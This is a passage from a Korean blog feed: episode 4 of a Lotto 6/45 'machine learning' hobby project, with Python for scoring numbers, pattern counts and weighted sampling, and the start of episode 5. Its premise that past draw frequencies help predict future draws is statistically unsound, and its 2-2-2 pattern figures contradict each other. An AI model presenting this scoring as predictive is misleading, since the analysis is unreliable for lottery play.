&lt;tr&gt;
&lt;td&gt; &lt;/td&gt;
&lt;td&gt;&lt;b&gt;2-3-1&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;54회&lt;/td&gt;
&lt;td&gt;8.9%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;2-1-3&lt;/td&gt;
&lt;td&gt;50회&lt;/td&gt;
&lt;td&gt;8.3%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;1-3-2&lt;/td&gt;
&lt;td&gt;47회&lt;/td&gt;
&lt;td&gt;7.8%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;1-2-3&lt;/td&gt;
&lt;td&gt;46회&lt;/td&gt;
&lt;td&gt;7.6%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;3-2-1&lt;/td&gt;
&lt;td&gt;43회&lt;/td&gt;
&lt;td&gt;7.1%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;3-3-0&lt;/td&gt;
&lt;td&gt;29회&lt;/td&gt;
&lt;td&gt;4.8%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;0-3-3&lt;/td&gt;
&lt;td&gt;27회&lt;/td&gt;
&lt;td&gt;4.5%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;2-2-2&lt;/td&gt;
&lt;td&gt;24회&lt;/td&gt;
&lt;td&gt;4.0%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;인사이트:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;2-2-2 패턴이 압도적&lt;/b&gt; (14.4%, 87회)&lt;/li&gt;
&lt;li&gt;균형잡힌 분포가 가장 흔함&lt;/li&gt;
&lt;li&gt;한쪽으로 치우친 패턴(예: 0-3-3)은 드물음&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. 홀짝 분포 패턴(Odd/Even Pattern Distribution)&lt;/h4&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def analyze_odd_even_patterns(self):
    &quot;&quot;&quot;홀짝 분포 패턴 학습&quot;&quot;&quot;
    print(&quot;  홀짝 패턴 학습 중...&quot;)

    odd_even_patterns = {'distribution': []}

    for _, row in self.loader.numbers_df.iterrows():
        nums = row['당첨번호']

        # 홀수(Odd), 짝수(Even) 개수
        odd = sum(1 for n in nums if n % 2 == 1)
        even = 6 - odd

        odd_even_patterns['distribution'].append((odd, even))

    # 가장 흔한 홀짝 분포
    from collections import Counter
    oe_counter = Counter(odd_even_patterns['distribution'])
    odd_even_patterns['most_common'] = oe_counter.most_common()

    print(f&quot;✓ 가장 흔한 홀짝 분포: {odd_even_patterns['most_common'][0]}&quot;)
    return odd_even_patterns&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결과:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;✓ 가장 흔한 홀짝 분포: ((3, 3), 197)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2237&quot; data-origin-height=&quot;884&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bU0WgY/dJMcadUYSca/8lX5KFSKZE0KaINhZNu6H1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bU0WgY/dJMcadUYSca/8lX5KFSKZE0KaINhZNu6H1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bU0WgY/dJMcadUYSca/8lX5KFSKZE0KaINhZNu6H1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbU0WgY%2FdJMcadUYSca%2F8lX5KFSKZE0KaINhZNu6H1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2237&quot; height=&quot;884&quot; data-origin-width=&quot;2237&quot; data-origin-height=&quot;884&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;i&gt;▲ 홀짝 분포 패턴(Odd/Even Distribution) - TOP 8&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;TOP 8 홀짝 패턴:&lt;/b&gt;&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;순위&lt;/th&gt;
&lt;th&gt;패턴 (Odd:Even)&lt;/th&gt;
&lt;th&gt;출현 횟수&lt;/th&gt;
&lt;th&gt;비율&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt; &lt;/td&gt;
&lt;td&gt;&lt;b&gt;3 Odd : 3 Even&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;197회&lt;/td&gt;
&lt;td&gt;32.6% ⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt; &lt;/td&gt;
&lt;td&gt;&lt;b&gt;4 Odd : 2 Even&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;148회&lt;/td&gt;
&lt;td&gt;24.5%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt; &lt;/td&gt;
&lt;td&gt;&lt;b&gt;2 Odd : 4 Even&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;147회&lt;/td&gt;
&lt;td&gt;24.3%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;5 Odd : 1 Even&lt;/td&gt;
&lt;td&gt;57회&lt;/td&gt;
&lt;td&gt;9.4%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;1 Odd : 5 Even&lt;/td&gt;
&lt;td&gt;48회&lt;/td&gt;
&lt;td&gt;7.9%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;6 Odd : 0 Even&lt;/td&gt;
&lt;td&gt;5회&lt;/td&gt;
&lt;td&gt;0.8%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;0 Odd : 6 Even&lt;/td&gt;
&lt;td&gt;3회&lt;/td&gt;
&lt;td&gt;0.5%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심 발견:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;3:3 패턴이 압도적&lt;/b&gt; (32.6%, 197회)&lt;/li&gt;
&lt;li&gt;4:2와 2:4도 각각 24% 이상&lt;/li&gt;
&lt;li&gt;홀0:짝6 또는 홀6:짝0은 극히 드물음 (&amp;lt; 1%)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. 합계 패턴(Sum Pattern)&lt;/h4&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def analyze_sum_patterns(self):
    &quot;&quot;&quot;합계 패턴 학습&quot;&quot;&quot;
    print(&quot;  합계 패턴 학습 중...&quot;)

    sums = []
    for _, row in self.loader.numbers_df.iterrows():
        nums = row['당첨번호']
        total = sum(nums)
        sums.append(total)

    sum_patterns = {
        'mean': np.mean(sums),  # 평균(Mean)
        'median': np.median(sums),  # 중앙값(Median)
        'std': np.std(sums),  # 표준편차(Std)
        'min': np.min(sums),  # 최소(Min)
        'max': np.max(sums),  # 최대(Max)
        'q1': np.percentile(sums, 25),  # 1사분위수(Q1)
        'q3': np.percentile(sums, 75)   # 3사분위수(Q3)
    }

    print(f&quot;✓ 합계 평균(Mean): {sum_patterns['mean']:.1f}, 표준편차(Std): {sum_patterns['std']:.1f}&quot;)
    return sum_patterns&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결과:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;✓ 합계 평균(Mean): 138.1, 표준편차(Std): 30.8

평균(Mean): 138.1
중앙값(Median): 137.0
표준편차(Std): 30.8
최소(Min): 46
최대(Max): 252
1사분위수(Q1): 116.0
3사분위수(Q3): 159.0&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해석:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;평균 합계: &lt;b&gt;138.1&lt;/b&gt; (약 6개 평균: 23)&lt;/li&gt;
&lt;li&gt;95% 구간: 평균 &amp;plusmn; 2&amp;times;표준편차 = &lt;b&gt;76.5 ~ 199.7&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;추천 시 합계를 이 범위 내로 제한 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  확률 가중치 생성&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&quot;점수를 확률로 변환하라&quot;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;점수를 그대로 사용할 수도 있지만, &lt;b&gt;확률 분포(Probability Distribution)&lt;/b&gt;로 변환하면 더 다양한 조합을 생성할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def get_probability_weights(self):
    &quot;&quot;&quot;점수 기반 확률 가중치 생성&quot;&quot;&quot;
    weights = {}

    # 점수의 제곱을 가중치로 사용 (강조 효과)
    for num, score_info in self.number_scores.items():
        score = score_info['total_score']
        weights[num] = score ** 2

    # 정규화 (Normalization)
    total = sum(weights.values())
    for num in weights:
        weights[num] /= total

    return weights&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;왜 제곱?&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;선형: 66점 vs 60점 &amp;rarr; 가중치 비율 1.1배&lt;/li&gt;
&lt;li&gt;제곱: 66점 vs 60점 &amp;rarr; 가중치 비율 1.21배&lt;/li&gt;
&lt;li&gt;&lt;b&gt;상위 번호를 더 강조&lt;/b&gt;하는 효과&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2083&quot; data-origin-height=&quot;884&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cbMJOX/dJMcaiouDQc/VJkVnFixvoapKtrtkrBd7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cbMJOX/dJMcaiouDQc/VJkVnFixvoapKtrtkrBd7k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cbMJOX/dJMcaiouDQc/VJkVnFixvoapKtrtkrBd7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcbMJOX%2FdJMcaiouDQc%2FVJkVnFixvoapKtrtkrBd7k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2083&quot; height=&quot;884&quot; data-origin-width=&quot;2083&quot; data-origin-height=&quot;884&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;i&gt;▲ 번호별 확률 가중치(Probability Weights) 분포 - 골드: 상위 10개 번호&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;확률 가중치 활용:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;import numpy as np

# 점수 기반 가중치 추출
weights = model.get_probability_weights()

# 확률 가중치로 번호 샘플링
numbers = list(range(1, 46))
probs = [weights.get(n, 0) for n in numbers]

# 6개 번호 선택 (중복 없이)
selected = np.random.choice(numbers, size=6, replace=False, p=probs)
print(f&quot;추천 번호: {sorted(selected)}&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 출력:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;추천 번호: [11, 14, 17, 19, 27, 38]&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  배운 점과 인사이트&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. Feature Engineering의 중요성&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ 좋은 특징(Feature)의 조건:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;ini&quot;&gt;&lt;code&gt;# 1. 측정 가능성 (Measurable)
total_frequency = count_appearances(num)

# 2. 의미 있는 정보 (Informative)
trend_score = recent_frequency - overall_frequency

# 3. 독립성 (Independent)
# 빈도와 트렌드는 서로 다른 정보 제공

# 4. 정규화 가능 (Normalizable)
normalized_score = (value - min) / (max - min) * max_points&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 점수 시스템 설계&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ 가중치 설계 원칙:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;gcode&quot;&gt;&lt;code&gt;# 가중치 = 중요도
weights = {
    'frequency': 0.30,  # 30% - 전체 빈도
    'trend': 0.30,      # 30% - 최근 트렌드
    'absence': 0.20,    # 20% - 미출현 기간
    'hotness': 0.20     # 20% - 핫넘버 점수
}

# 총합 = 100%
assert sum(weights.values()) == 1.0&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ 점수 정규화:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;makefile&quot;&gt;&lt;code&gt;# 각 구성요소를 0-max_points 범위로 정규화
freq_score = min(total_frequency / 100 * 30, 30)
# min() 함수로 상한선 설정

# 또는 sigmoid 함수 사용
import math
sigmoid_score = max_points / (1 + math.exp(-normalized_value))&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 패턴 학습&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ Counter 활용:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;from collections import Counter

# 패턴 빈도 계산
patterns = [(2,2,2), (3,1,2), (2,2,2), (2,3,1), ...]
pattern_counter = Counter(patterns)

# 상위 N개 패턴
top_patterns = pattern_counter.most_common(10)
# [((2, 2, 2), 87), ((3, 1, 2), 61), ...]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ NumPy 통계:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;makefile&quot;&gt;&lt;code&gt;import numpy as np

# 기본 통계
mean = np.mean(data)
median = np.median(data)
std = np.std(data)

# 백분위수 (Percentile)
q1 = np.percentile(data, 25)  # 1사분위수
q3 = np.percentile(data, 75)  # 3사분위수
iqr = q3 - q1  # 사분위 범위 (Interquartile Range)&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. 확률 분포 생성&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ 가중치 정규화:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;yaml&quot;&gt;&lt;code&gt;# 원시 가중치
raw_weights = {1: 100, 2: 80, 3: 60, ...}

# 정규화 (합계 = 1.0)
total = sum(raw_weights.values())
normalized = {k: v/total for k, v in raw_weights.items()}

# 검증
assert abs(sum(normalized.values()) - 1.0) &amp;lt; 1e-10&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ NumPy 가중치 샘플링:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;import numpy as np

numbers = [1, 2, 3, 4, 5]
weights = [0.1, 0.2, 0.3, 0.25, 0.15]  # 합계 = 1.0

# 가중치 기반 샘플링 (중복 없이)
selected = np.random.choice(numbers, size=3, replace=False, p=weights)
# [3, 2, 5] (확률에 따라 다름)&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  네 번째 마일스톤 달성&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;v3.0 작업 완료:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;✅ &lt;b&gt;특징 추출(Feature Engineering)&lt;/b&gt; (45개 번호, 8가지 특징)&lt;br /&gt;✅ &lt;b&gt;점수 시스템 설계&lt;/b&gt; (4가지 구성요소, 최대 100점)&lt;br /&gt;✅ &lt;b&gt;패턴 학습&lt;/b&gt; (구간/홀짝/합계 분포)&lt;br /&gt;✅ &lt;b&gt;확률 가중치 생성&lt;/b&gt; (점수 기반 정규화)&lt;br /&gt;✅ &lt;b&gt;상위 20개 번호 도출&lt;/b&gt; (14, 17, 42번 공동 1위)&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;흥미로운 발견&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;14번, 17번, 42번이 공동 1위&lt;/b&gt; (각 66.1점)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;같은 점수, 다른 강점&lt;/b&gt; (빈도 vs 부재 기간)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;2-2-2 구간 패턴이 압도적&lt;/b&gt; (14.4%, 87회)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;3:3 홀짝 패턴이 최다&lt;/b&gt; (32.6%, 197회)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;합계 평균 138.1&lt;/b&gt; (표준편차 30.8)&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;통계적 의미&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;점수 분포:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;최고 점수: 66.1점 (3개 번호)&lt;/li&gt;
&lt;li&gt;최저 점수: 약 35점&lt;/li&gt;
&lt;li&gt;평균 점수: 약 48점&lt;/li&gt;
&lt;li&gt;&lt;b&gt;점수 차이가 명확함&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;패턴의 일관성:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;구간 2-2-2: 14.4% (무작위 예상: ~10%)&lt;/li&gt;
&lt;li&gt;홀짝 3:3: 32.6% (무작위 예상: ~31%)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;홀짝은 거의 무작위와 동일, 구간은 약간 편향&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  다음 에피소드 예고&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;5편: &quot;일곱 가지 선택의 기로&quot;&lt;/b&gt; - 7가지 번호 추천 전략 구현&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 편에서는:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;점수 기반 추천 전략&lt;/li&gt;
&lt;li&gt;확률 가중치 추천 전략&lt;/li&gt;
&lt;li&gt;패턴 기반 추천 전략&lt;/li&gt;
&lt;li&gt;그리드 패턴 추천 전략&lt;/li&gt;
&lt;li&gt;연속 번호 포함 전략&lt;/li&gt;
&lt;li&gt;무작위 추천 (대조군)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;⭐ 하이브리드 추천&lt;/b&gt; (모든 전략 통합)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;미리보기:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;# recommendation_system.py
class LottoRecommendationSystem:
    def generate_hybrid(self, n_combinations=5):
        &quot;&quot;&quot;하이브리드 추천 (최고 품질)&quot;&quot;&quot;
        # 4가지 전략 결합
        score_based = self.generate_by_score(n_combinations)
        prob_based = self.generate_by_probability(n_combinations)
        pattern_based = self.generate_by_pattern(n_combinations)
        grid_based = self.generate_grid_based(n_combinations)

        # 통합 및 재점수 계산
        all_combinations = score_based + prob_based + pattern_based + grid_based
        unique_combinations = list(set(map(tuple, all_combinations)))

        # 최고 점수 N개 선택
        scored = [(combo, self.calculate_combo_score(combo))
                  for combo in unique_combinations]
        scored.sort(key=lambda x: x[1], reverse=True)

        return [list(combo) for combo, _ in scored[:n_combinations]]&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  관련 링크&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;GitHub&lt;/b&gt;: &lt;a href=&quot;https://github.com/MyJYP/lotter645_1227&quot;&gt;lotter645_1227&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Streamlit App&lt;/b&gt;: &lt;a href=&quot;https://lo645251227.streamlit.app/&quot;&gt;로또 645 분석 웹 앱&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;이전 에피소드&lt;/b&gt;: &lt;a href=&quot;https://thepin.tistory.com/192&quot;&gt;3편 - 시간은 흐르고, 데이터는 남고&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;다음 에피소드&lt;/b&gt;: &lt;a href=&quot;https://thepin.tistory.com/190&quot;&gt;5편 - 일곱 가지 선택의 기로&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  마무리하며&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;기계가 배우기 시작했다.&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;605회의 데이터를 학습하고, 45개 번호에 점수를 매겼다. 14번 66.1점, 17번 66.1점, 42번 66.1점.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;점수 구성요소를 분해하니 각 번호의 강점이 보였다. 14번은 빈도와 핫넘버로, 42번은 부재 기간으로 같은 점수를 받았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;패턴 학습은 의외의 결과를 주었다. 2-2-2 구간 패턴이 14.4%로 압도적이었고, 3:3 홀짝 패턴은 32.6%로 무작위와 비슷했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확률 가중치로 변환하니 다양한 조합이 가능해졌다. 제곱을 사용해 상위 번호를 강조했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 이 점수와 패턴을 활용해 실제로 번호를 추천해야 한다. 7가지 전략을 설계하고, 하이브리드로 통합할 차례다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기계가 학습한 운의 법칙, 과연 작동할까?&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  SEO 태그&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;#포함 해시태그&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;#머신러닝 #점수시스템 #특징추출 #FeatureEngineering #확률가중치 #패턴학습 #NumPy #Counter #정규화 #가중치샘플링&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;쉼표 구분 태그&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;머신러닝, 점수시스템, 특징추출, 빈도점수, 트렌드점수, 부재점수, 핫넘버, 구간패턴, 홀짝패턴, 확률가중치, 정규화, 가중치샘플링&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작성&lt;/b&gt;: @MyJYP&lt;br /&gt;&lt;b&gt;시리즈&lt;/b&gt;: 로또 645 데이터 분석 프로젝트 (4/10)&lt;br /&gt;&lt;b&gt;라이선스&lt;/b&gt;: CC BY-NC-SA 4.0&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  Claude Code 사용량&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작업 전:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;세션 사용량: 80,891 tokens (0%)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작업 후:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;세션 사용량: 98,036 tokens (17%사용)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용량 차이:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Episode 4 작성 사용량: &lt;b&gt;17,145 tokens&lt;/b&gt; (약 17K tokens)&lt;/li&gt;
&lt;li&gt;이미지 5개 생성 + 본문 작성 포함&lt;/li&gt;
&lt;li&gt;주간 2% (67%-65%)&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>VibeCoding/lo645251227</category>
      <category>구간패턴</category>
      <category>머신러닝</category>
      <category>부재점수</category>
      <category>빈도점수</category>
      <category>점수시스템</category>
      <category>트렌드점수</category>
      <category>특징추출</category>
      <category>핫넘버</category>
      <category>홀짝패턴</category>
      <category>확률가중치</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/191</guid>
      <comments>https://thepin.tistory.com/191#entry191comment</comments>
      <pubDate>Sun, 11 Jan 2026 12:15:45 +0900</pubDate>
    </item>
    <item>
      <title>Episode 5: 일곱 가지 선택의 기로(Seven Choices, One Crossroad)</title>
      <link>https://thepin.tistory.com/190</link>
      <description>&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;이 글은 패스트캠퍼스 바이브코딩 강의를 수강하며, 별도의 주제로 진행한 데이터 분석 프로젝트 과정을 기록한 것입니다. 코딩과 글 작성에는 클로드코드와 커서AI 및 퍼플렛시티를 함께 활용했음을 미리 밝힙니다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;
&lt;h1&gt;Episode 5: 일곱 가지 선택의 기로 (Seven&amp;nbsp;Choices,&amp;nbsp;One&amp;nbsp;Crossroad)&lt;/h1&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
